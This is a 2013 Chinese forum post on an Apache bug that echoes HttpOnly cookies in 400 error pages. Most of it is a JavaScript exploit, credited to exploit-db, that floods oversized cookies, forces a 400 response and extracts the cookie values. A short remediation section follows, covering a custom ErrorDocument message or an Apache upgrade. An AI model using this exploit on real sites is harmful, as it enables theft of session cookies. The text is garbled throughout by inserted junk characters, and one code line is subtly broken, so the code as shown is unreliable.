找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2594|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。+ Q4 Q+ U2 P: C% ~: n7 `" G& p
2 t5 Z5 [7 M. D5 y
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:% h9 ?/ \" y% b/ z' G

3 P0 y: `7 |, r# @3 O, M
8 S6 k6 [7 U4 `% Z* ?) I// http://www.exploit-db.com/exploits/18442/+ w; V9 H- g% a( c' ^, p1 J# z
function setCookies (good) {
+ Y/ P: b* p% L0 g, J  ^0 s/ N// Construct string for cookie value
$ A: W8 v! ?1 E$ L4 ]var str = "";- u9 S) R, {4 ?7 D
for (var i=0; i< 819; i++) {
% j4 d# s- w$ E8 Q( Cstr += "x";: a1 v2 e* l- o; S$ i
}
6 x8 Z+ ?- R5 G% \) b// Set cookies
0 |: t  N3 y: R4 Y, t' `, Qfor (i = 0; i < 10; i++) {" w0 G6 H3 X3 e( ~
// Expire evil cookie% O, ~2 t7 G3 N9 `2 b/ V( K
if (good) {
' k( S/ L: Q& y. P8 J$ K) Qvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";- M3 h% k. S( e1 K5 S, X
}
+ r! e# _. s/ ]; z# E// Set evil cookie/ @0 p+ w! }3 T* O
else {
- j) M3 ?9 k2 o8 \0 U/ G, Tvar cookie = "xss"+i+"="+str+";path=/";; \3 K* E; f, ~5 b6 \8 l; }4 _' o
}( H! f; Y4 H1 m5 _1 k5 k
document.cookie = cookie;
! a* t% v. R$ {- d}2 K4 e7 ]) d  V" {; Q/ [
}: p) z2 Y% W) R+ y& Q
function makeRequest() {- h# w( R# V6 R
setCookies();
9 ^8 `- m" @' z- q/ H% k+ ^function parseCookies () {) K2 x9 @) p( F' Z0 \# J3 B& U
var cookie_dict = {};0 N- A; v+ ~, U. T5 O
// Only react on 400 status3 C+ {: q' {$ b! \* t2 o$ ^
if (xhr.readyState === 4 && xhr.status === 400) {* B; d# x7 r% k3 y! K; V
// Replace newlines and match <pre> content
9 q1 |) ~6 A  ]; Yvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);! D4 M7 c: n' S
if (content.length) {
& R) s, E5 N# h; F$ `2 Z  P5 d* x// Remove Cookie: prefix) I# z; \- K$ u% J3 ^9 u+ e
content = content[1].replace("Cookie: ", "");
, ^3 Y8 K) I1 U+ O. r4 K2 h  \, N; qvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);2 t  h/ x: ?0 w1 V5 ^
// Add cookies to object
$ b) L3 `0 U$ `* ifor (var i=0; i<cookies.length; i++) {3 c( V* w) x- H/ P1 h" r
var s_c = cookies.split('=',2);
1 M8 F3 _7 h( {; Wcookie_dict[s_c[0]] = s_c[1];
  n/ ^& M) n- c" V6 w# A}+ p  c8 w; B8 {5 D# Y" n
}
& _: d; p: d$ ]9 J1 O// Unset malicious cookies
) _2 ?: [3 j6 y- f8 J2 ksetCookies(true);
9 E) b$ Q* Q# s/ @' o* Zalert(JSON.stringify(cookie_dict));
; [) @4 a4 u. a* ?6 g8 x}
. j, ~& u# r, o( C0 F}5 R* B* H9 x! y" ?
// Make XHR request
) O6 o0 D$ [  @" `var xhr = new XMLHttpRequest();" e# n+ |1 s! v' O/ e. W
xhr.onreadystatechange = parseCookies;. l, B; p8 L$ G, ^8 ?
xhr.open("GET", "/", true);
& F9 u' L# L$ g+ mxhr.send(null);. v' V1 g. M$ D  Q* P
}
3 \6 i. j( r# o" e& ]9 GmakeRequest();
8 P- `4 W0 `4 a) Z% ^3 m( h" \; e/ u. m: T
你就能看见华丽丽的400错误包含着cookie信息。
3 R* h# a' P7 Z
: x* n+ p" ~& i% b! L" D8 Q下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
$ S* N9 {4 Y% ]# J6 B
  d6 @2 }* M. k9 G4 F修复方案:. l7 S* E1 j( r0 f  ^; z

% I! l- D& h2 y) A4 iApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下! I, {; c. D  b; |# H, _
) |) O3 B4 S' `# O9 r
In the event of a problem or error, Apachecan be configured to do one of four things,9 O: ~% B; x& x5 t* E$ N' D" V
5 h0 Y( q$ h, `6 U3 f5 p: E
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息: _* Z# v. T4 x9 m: r
2. output acustomized message输出一段信息, S6 m( `2 Q7 D5 C2 |3 q
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 * d- Y8 j, B/ u. N% f$ ]
4. redirect to an external URL to handle theproblem/error转向一个外部URL3 D+ D+ H. f! [# s8 \! U3 A
4 m' q& B  H( g& r8 u
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
* d$ P7 [3 r: D  R- t- D+ P
+ n: h# E! p( |( r  R4 Q- ?  _Apache配置:8 r; x" o1 Q4 d: l0 f' s

$ V3 P8 G& j, @) P* KErrorDocument400 " security test"3 F1 h6 T( Q5 K/ v% f% M

7 \; |  G+ q, r当然,升级apache到最新也可:)。
* T3 V) F8 L  C7 q9 h
  K5 A* u: y6 q: z2 z+ A( @参考:http://httpd.apache.org/security/vulnerabilities_22.html% }( d% K5 J. A8 {7 ?/ M. S' \

: c" j% w0 ]6 d" H
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表